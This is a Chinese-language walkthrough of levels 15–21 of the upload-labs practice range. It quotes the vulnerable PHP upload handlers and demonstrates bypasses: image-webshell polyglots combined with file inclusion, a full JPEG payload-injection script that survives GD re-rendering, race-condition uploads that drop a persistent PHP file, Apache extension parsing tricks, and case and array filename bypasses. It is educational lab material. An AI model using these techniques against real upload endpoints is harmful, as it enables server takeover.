代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 function getReailFileType ($filename ) { $file = fopen ($filename , "rb" ); $bin = fread ($file , 2 ); fclose ($file ); $strInfo = @unpack ("C2chars" , $bin ); $typeCode = intval ($strInfo ['chars1' ].$strInfo ['chars2' ]); $fileType = '' ; switch ($typeCode ){ case 255216 : $fileType = 'jpg' ; break ; case 13780 : $fileType = 'png' ; break ; case 7173 : $fileType = 'gif' ; break ; default : $fileType = 'unknown' ; } return $fileType ; } $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $file_type = getReailFileType ($temp_file ); if ($file_type == 'unknown' ){ $msg = "文件未知,上传失败!" ; }else { $img_path = UPLOAD_PATH."/" .rand (10 , 99 ).date ("YmdHis" )."." .$file_type ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传出错!" ; } } }
getReailFileType()
用于检测文件头部两个字节的信息(前两个字节是文件格式的标识),并且通过二进制码判断其文件的类型,然后控制文件的上传。
在本地进行测试,随便选用一张1.jpg图片,模拟其解析过程
在对前两个字节进行unpack
之后,得到一个数组,该数组存储的是jpg文件签两个字节分别对应的二进制码,再通过intval
函数进行组合
解题思路 由于其要检测前两个字节的信息,所以不能简单的通过直接修改后缀进行上传。需要制作图片马,采用图片与木马合并的方法,将一张图片1.jpg与木马info.php组成info.jpg文件
windows下通过cmd命令进行制作
1 copy 1.jpg /b + 1.php /a shell.jpg
mac下使用下面命令
1.jpg重新制作成功后,我们将其上传。但是由于图片不能解析为php代码来执行。若有文件包含漏洞,则可以通过文件包含漏洞进行解析。正好由于题目说了存在文件包含漏洞,我们通过文件包含漏洞进行。该文件包含解码通过get传参,我们复制图片地址,链接到文件包含界面,然后访问。
出现如下界面,则说明成功
Pass-15 图片马2(文件包含) 函数分析 1 2 3 4 5 6 7 8 9 array getimagesize ( string $filename [, array &$imageinfo ] ) 返回的数组中: 索引 0 给出的是图像宽度的像素值 索引 1 给出的是图像高度的像素值 索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF (intel byte order),8 = TIFF (motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM string image_type_to_extension ( int $imagetype [, bool $include_dot = TRUE ] )
代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 function isImage ($filename ) { $types = '.jpeg|.png|.gif' ; if (file_exists ($filename )){ $info = getimagesize ($filename ); $ext = image_type_to_extension ($info [2 ]); if (stripos ($types ,$ext )>=0 ){ return $ext ; }else { return false ; } }else { return false ; } } $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $res = isImage ($temp_file ); if (!$res ){ $msg = "文件未知,上传失败!" ; }else { $img_path = UPLOAD_PATH."/" .rand (10 , 99 ).date ("YmdHis" ).$res ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传出错!" ; } } }
定义了一个isImage
的函数,其通过getimagesize
与image_type_to_extension
函数的返回值判断其文件类型是否符合要求,然后控制文件的上传
解题思路 本关与上一关类似,只是判断文件的函数方法略有区别,也可以通过图片马进行访问。
然后打开文件包含界面,将上传的图片马的路径链接到尾部
如下即可成功
Pass-16 图片马3 (文件包含) 函数分析
代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 function isImage ($filename ) { $image_type = exif_imagetype ($filename ); switch ($image_type ) { case IMAGETYPE_GIF: return "gif" ; break ; case IMAGETYPE_JPEG: return "jpg" ; break ; case IMAGETYPE_PNG: return "png" ; break ; default : return false ; break ; } } $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $res = isImage ($temp_file ); if (!$res ){ $msg = "文件未知,上传失败!" ; }else { $img_path = UPLOAD_PATH."/" .rand (10 , 99 ).date ("YmdHis" )."." .$res ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = "上传出错!" ; } } }
根据要求首先开启php_exif模块,这关和之前两个也类似,仅仅是使用函数变化,原理相同,用之前的图片马上传+文件包含漏洞即可利用
解题思路
Pass-17 二次渲染绕过 函数分析 1 2 3 4 5 basename (path,suffix) imagecreatefromjpeg () imagejpeg() unlink (filename,context) strval ()
代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $filename = $_FILES ['upload_file' ]['name' ]; $filetype = $_FILES ['upload_file' ]['type' ]; $tmpname = $_FILES ['upload_file' ]['tmp_name' ]; $target_path =UPLOAD_PATH.'/' .basename ($filename ); $fileext = substr (strrchr ($filename ,"." ),1 ); if (($fileext == "jpg" ) && ($filetype =="image/jpeg" )){ if (move_uploaded_file ($tmpname ,$target_path )){ $im = imagecreatefromjpeg ($target_path ); if ($im == false ){ $msg = "该文件不是jpg格式的图片!" ; @unlink ($target_path ); }else { srand (time ()); $newfilename = strval (rand ()).".jpg" ; $img_path = UPLOAD_PATH.'/' .$newfilename ; imagejpeg ($im ,$img_path ); @unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传出错!" ; } }else if (($fileext == "png" ) && ($filetype =="image/png" )){ if (move_uploaded_file ($tmpname ,$target_path )){ $im = imagecreatefrompng ($target_path ); if ($im == false ){ $msg = "该文件不是png格式的图片!" ; @unlink ($target_path ); }else { srand (time ()); $newfilename = strval (rand ()).".png" ; $img_path = UPLOAD_PATH.'/' .$newfilename ; imagepng ($im ,$img_path ); @unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传出错!" ; } }else if (($fileext == "gif" ) && ($filetype =="image/gif" )){ if (move_uploaded_file ($tmpname ,$target_path )){ $im = imagecreatefromgif ($target_path ); if ($im == false ){ $msg = "该文件不是gif格式的图片!" ; @unlink ($target_path ); }else { srand (time ()); $newfilename = strval (rand ()).".gif" ; $img_path = UPLOAD_PATH.'/' .$newfilename ; imagegif ($im ,$img_path ); @unlink ($target_path ); $is_upload = true ; } } else { $msg = "上传出错!" ; } }else { $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!" ; } }
代码先通过检查上传文件的后缀,$im=imagecreatefrompng()
语句将上传的图片传给$im作为一个图片标志符,再经过srand函数重新命名后,经过imagejpeg
函数将$im的图像保存到指定路径处。相当于对文件的图像部分进行了重新保存的操作,把我们上传的原文件删除。
解题思路 我们先带着疑问,上传一个图片马的gif文件进行尝试。(这里使用gif文件比jpg和png文件更加简单,原因请见下面的一个参考文章),经过文件包含利用后,得到的结果全为乱码,并不是phpinfo()的界面。
我们使用winhex对上传前后的文件进行对比查看。(上传后的文件直接另存图像即可)。
我们发现其上传前后文件内部编码发生了变化。
仔细对比后,找到文件前后内部编码没有改变的部分,然后我们在上传前文件中没有改变部分中加入代码
然后重新上传即可
方法二 参考国外大神的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 <?php $miniPayload = "<?=phpinfo();?>" ; if (!extension_loaded ('gd' ) || !function_exists ('imagecreatefromjpeg' )) { die ('php-gd is not installed' ); } if (!isset ($argv [1 ])) { die ('php jpg_payload.php <jpg_name.jpg>' ); } set_error_handler ("custom_error_handler" ); for ($pad = 0 ; $pad < 1024 ; $pad ++) { $nullbytePayloadSize = $pad ; $dis = new DataInputStream ($argv [1 ]); $outStream = file_get_contents ($argv [1 ]); $extraBytes = 0 ; $correctImage = TRUE ; if ($dis ->readShort () != 0xFFD8 ) { die ('Incorrect SOI marker' ); } while ((!$dis ->eof ()) && ($dis ->readByte () == 0xFF )) { $marker = $dis ->readByte (); $size = $dis ->readShort () - 2 ; $dis ->skip ($size ); if ($marker === 0xDA ) { $startPos = $dis ->seek (); $outStreamTmp = substr ($outStream , 0 , $startPos ) . $miniPayload . str_repeat ("\0" ,$nullbytePayloadSize ) . substr ($outStream , $startPos ); checkImage ('_' .$argv [1 ], $outStreamTmp , TRUE ); if ($extraBytes !== 0 ) { while ((!$dis ->eof ())) { if ($dis ->readByte () === 0xFF ) { if ($dis ->readByte !== 0x00 ) { break ; } } } $stopPos = $dis ->seek () - 2 ; $imageStreamSize = $stopPos - $startPos ; $outStream = substr ($outStream , 0 , $startPos ) . $miniPayload . substr ( str_repeat ("\0" ,$nullbytePayloadSize ). substr ($outStream , $startPos , $imageStreamSize ), 0 , $nullbytePayloadSize +$imageStreamSize -$extraBytes ) . substr ($outStream , $stopPos ); } elseif ($correctImage ) { $outStream = $outStreamTmp ; } else { break ; } if (checkImage ('payload_' .$argv [1 ], $outStream )) { die ('Success!' ); } else { break ; } } } } unlink ('payload_' .$argv [1 ]); die ('Something\'s wrong' ); function checkImage ($filename , $data , $unlink = FALSE ) { global $correctImage ; file_put_contents ($filename , $data ); $correctImage = TRUE ; imagecreatefromjpeg ($filename ); if ($unlink ) unlink ($filename ); return $correctImage ; } function custom_error_handler ($errno , $errstr , $errfile , $errline ) { global $extraBytes , $correctImage ; $correctImage = FALSE ; if (preg_match ('/(\d+) extraneous bytes before marker/' , $errstr , $m )) { if (isset ($m [1 ])) { $extraBytes = (int )$m [1 ]; } } } class DataInputStream { private $binData ; private $order ; private $size ; public function __construct ($filename , $order = false , $fromString = false ) { $this ->binData = '' ; $this ->order = $order ; if (!$fromString ) { if (!file_exists ($filename ) || !is_file ($filename )) die ('File not exists [' .$filename .']' ); $this ->binData = file_get_contents ($filename ); } else { $this ->binData = $filename ; } $this ->size = strlen ($this ->binData); } public function seek ( ) { return ($this ->size - strlen ($this ->binData)); } public function skip ($skip ) { $this ->binData = substr ($this ->binData, $skip ); } public function readByte ( ) { if ($this ->eof ()) { die ('End Of File' ); } $byte = substr ($this ->binData, 0 , 1 ); $this ->binData = substr ($this ->binData, 1 ); return ord ($byte ); } public function readShort ( ) { if (strlen ($this ->binData) < 2 ) { die ('End Of File' ); } $short = substr ($this ->binData, 0 , 2 ); $this ->binData = substr ($this ->binData, 2 ); if ($this ->order) { $short = (ord ($short [1 ]) << 8 ) + ord ($short [0 ]); } else { $short = (ord ($short [0 ]) << 8 ) + ord ($short [1 ]); } return $short ; } public function eof ( ) { return !$this ->binData||(strlen ($this ->binData) === 0 ); } } ?>
首先必须先上传一个随意的jpg文件,然后将其保存为2.jpg后执行脚本。
1 php jpg_payload.php 2.jpg
成功后上传生成的payload.jpg文件
配合文件包含漏洞利用即可
Pass-18 条件竞争 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_name = $_FILES ['upload_file' ]['name' ]; $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $file_ext = substr ($file_name ,strrpos ($file_name ,"." )+1 ); $upload_file = UPLOAD_PATH . '/' . $file_name ; if (move_uploaded_file ($temp_file , $upload_file )){ if (in_array ($file_ext ,$ext_arr )){ $img_path = UPLOAD_PATH . '/' . rand (10 , 99 ).date ("YmdHis" )."." .$file_ext ; rename ($upload_file , $img_path ); $is_upload = true ; }else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; unlink ($upload_file ); } }else { $msg = '上传出错!' ; } }
代码处理流程
移动文件到指定路径
判断文件后缀是否符合
符合则重命名
不符合则删除文件
这里存在逻辑的问题,先移动文件到指定目录再判断是否符合并删除。服务器处理代码时总会存在一定的时间差,当我们在上传文件后就多次快速尝试访问目标文件,那么是不是有机会在删除前成功访问文件。而如果文件的代码是重新创建一个木马文件,新木马文件则永远不会被删除了!
解题思路 创建一个新木马文件creat.php,用于执行时则创建一个info1.php文件
1 2 3 4 <?php $f = fopen ("info1.php" ,"w" );fputs ($f ,"<?php phpinfo();?>" );?>
上传creat.php并抓包,发送到intruder模块,不用设置变量,直接设置payload即可
次数设置高一点,我随便设置的1200。同样的流程,抓访问create.php的请求包,文件的路径为
ip/upload/upload-labs-master/upload/create.php
同样发送到intruder模块中进行设置
当两个包都设置好后,开始爆破即可。
观察访问目标文件的包响应码是否有200的情况产生,这里发现成功了一次,看看内容,提示貌似没有创建的权限
到机器的upload目录中修改文件的读写权限,重新爆破即可
第二次一发入魂,如果没有成功可以多试几次
Pass-19 条件竞争+apache解析漏洞 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ require_once ("./myupload.php" ); $imgFileName =time (); $u = new MyUpload ($_FILES ['upload_file' ]['name' ], $_FILES ['upload_file' ]['tmp_name' ], $_FILES ['upload_file' ]['size' ],$imgFileName ); $status_code = $u ->upload (UPLOAD_PATH); switch ($status_code ) { case 1 : $is_upload = true ; $img_path = $u ->cls_upload_dir . $u ->cls_file_rename_to; break ; case 2 : $msg = '文件已经被上传,但没有重命名。' ; break ; case -1 : $msg = '这个文件不能上传到服务器的临时文件存储目录。' ; break ; case -2 : $msg = '上传失败,上传目录不可写。' ; break ; case -3 : $msg = '上传失败,无法上传该类型文件。' ; break ; case -4 : $msg = '上传失败,上传的文件过大。' ; break ; case -5 : $msg = '上传失败,服务器已经存在相同名称文件。' ; break ; case -6 : $msg = '文件无法上传,文件不能复制到目标目录。' ; break ; default : $msg = '未知错误!' ; break ; } } class MyUpload {...... ...... ...... var $cls_arr_ext_accepted = array ( ".doc" , ".xls" , ".txt" , ".pdf" , ".gif" , ".jpg" , ".zip" , ".rar" , ".7z" ,".ppt" , ".html" , ".xml" , ".tiff" , ".jpeg" , ".png" ); ...... ...... ...... function upload ( $dir ) { $ret = $this ->isUploadedFile (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } $ret = $this ->setDir ( $dir ); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } $ret = $this ->checkExtension (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } $ret = $this ->checkSize (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } if ( $this ->cls_file_exists == 1 ){ $ret = $this ->checkFileExists (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } } $ret = $this ->move (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } if ( $this ->cls_rename_file == 1 ){ $ret = $this ->renameFile (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } } return $this ->resultUpload ( "SUCCESS" ); } ...... ...... ...... };
这关我看网上很多文章写的很笼统,不太细节,这里我们手动根据代码来看一下,分析一下逻辑。在index.php中,首先new了一个MyUpload类,传入了上传的文件名,临时名,文件大小,随机time名(这个随机time和文件最终名字有关)。
然后传入UPLOAD_PATH给upload函数(也就是吧../upload传入),那么我们得看看类里面的代码才知道具体发生了什么。
对类初始化的时候调用Myupload函数,传入对应参数赋值
进到类里面看
在upload函数中,是先进行文件路径、后缀、大小判断,然后文件移动、重命名。这里就出现很经典的逻辑问题了,先移动再重命令,就可以利用条件竞争对其进行访问。
可是问题出现了,其对文件上传后缀进行了检验,只能白名单上传
这里就要配合到apache的解析漏洞,在apache版本符合条件下,对mime.types中没有涉及的文件后缀不会解析,查看httpd.conf文件下的mime.types,没有发现7z后缀,说明不会解析7z文件
比如test.php.7z
这个文件,apache的解析是从后往前,当7z不能解析时,其向前解析一直到可以解析的后缀为止,所以将test.php.7z
当作test.php
执行。但是文件后缀上传后还是test.php.7z
全称吗?看看代码,经过rename之后,文件名被修改为upload+time()函数的值+最后一个小数点后的后缀名,即变成了upload+time.7z
这样,没有php了我们如何利用?
这里就需要配合刚才说的条件竞争漏洞了,在rename之前是move操作,move后的极短时间内是没有rename的,我们通过频发发包访问达到目的。这里需要提一下,这关的文件上传目录不是在upload目录下,应该是作者不小心忽略的原因,所以会导致文件名中有个upload,但是不影响做题,如果想修改为upload目录下,则需要在rename函数中添加/
即可,下方解题是没有修改的版本。
解题思路 test.php.7z文件内容如下
1 2 3 4 <?php $f = fopen ("info1.php" ,"w" );fputs ($f ,"<?php phpinfo();?>" );?>
两次抓包,一次为文件上传包,一个为请求路径的包
发送到爆破模块,设置为null payloads进行多次爆破
直到访问成功,目录下出现info1.php即可成功。我这里apache为2.4版本,不能利用,所以就没有成功截图。
Pass-20 大小写绕过 函数分析 基本函数,不过多分析
代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array ("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"html" ,"htm" ,"phtml" ,"pht" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"swf" ,"htaccess" ); $file_name = $_POST ['save_name' ]; $file_ext = pathinfo ($file_name ,PATHINFO_EXTENSION); if (!in_array ($file_ext ,$deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH . '/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; }else { $msg = '上传出错!' ; } }else { $msg = '禁止保存为该类型文件!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
解题思路 直接上传一个info.phP文件,然后再修改上传名称即可成功上传。
Pass-21 数组绕过 函数分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 empty () explode (separator,string ,limit) separator 必需。规定在哪里分割字符串。 string 必需。要分割的字符串。 limit 可选。规定所返回的数组元素的数目。 可能的值: 大于 0 - 返回包含最多 limit 个元素的数组 小于 0 - 返回包含除了最后的 -limit 个元素以外的所有元素的数组 0 - 返回包含一个元素的数组 strtolower () count () end () reset ()
代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 $is_upload = false ;$msg = null ;if (!empty ($_FILES ['upload_file' ])){ $allow_type = array ('image/jpeg' ,'image/png' ,'image/gif' ); if (!in_array ($_FILES ['upload_file' ]['type' ],$allow_type )){ $msg = "禁止上传该类型文件!" ; }else { $file = empty ($_POST ['save_name' ]) ? $_FILES ['upload_file' ]['name' ] : $_POST ['save_name' ]; if (!is_array ($file )) { $file = explode ('.' , strtolower ($file )); } $ext = end ($file ); $allow_suffix = array ('jpg' ,'png' ,'gif' ); if (!in_array ($ext , $allow_suffix )) { $msg = "禁止上传该后缀文件!" ; }else { $file_name = reset ($file ) . '.' . $file [count ($file ) - 1 ]; $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH . '/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $msg = "文件上传成功!" ; $is_upload = true ; } else { $msg = "文件上传失败!" ; } } } }else { $msg = "请选择要上传的文件!" ; }
挨个分析,如果save_name为空,则把$_FILES['upload_file']['name']
赋值给$file,反之$_POST['save_name']
赋值给$file
1 $file = empty ($_POST ['save_name' ]) ? $_FILES ['upload_file' ]['name' ] : $_POST ['save_name' ];
接下来如果$file不是数组,则将其处理为数组,通过.
符号将其分割 [ “muma.php”,””,”jpg”]
1 2 3 if (!is_array ($file )) { $file = explode ('.' , strtolower ($file )); }
下面通过end()
函数获得$file中的最后一个元素,赋值给$ext,并进行后缀校验。感觉这里应该有名堂
1 2 3 4 5 $ext = end ($file ); $allow_suffix = array ('jpg' ,'png' ,'gif' ); if (!in_array ($ext , $allow_suffix )) { $msg = "禁止上传该后缀文件!" ; }
后缀符合,则拼接文件名为首元素.尾元素
reset()
获取数组首元素
1 2 3 4 5 6 7 8 9 10 11 else { $file_name = reset ($file ) . '.' . $file [count ($file ) - 1 ]; $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH . '/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $msg = "文件上传成功!" ; $is_upload = true ; } else { $msg = "文件上传失败!" ; } }
解题思路 首先我们肯定要绕过对非数组进行分割处,不然直接被卡死了。如果我们传入的数组为save_name=["muma.php","jpg"]
,这样可以绕过后缀检测,但是一直到命名处$file[count($file) - 1]
对应的是”jpg”,那么最终文件命名为muma.php.jpg
这种情况。我们需要的是muma.php,可以试着将数组传为save_name=["muma.php",不设置,"jpg"]
,当我们save_name[1]不设置的时候,count结果仍然是2,但是文件名后缀拼接出来为空,结果为muma.php. 再根据windows特性将.
省略,达到文件上传的目的
参考文章 https://tatsumaki.cn/2020/07/29/00jieduan/
https://xz.aliyun.com/t/2657#toc-13
https://corp0ra1.cn/2019/05/14/%5Bold%5D%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E4%B9%8BGD/
https://uuzdaisuki.com/2018/05/01/%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/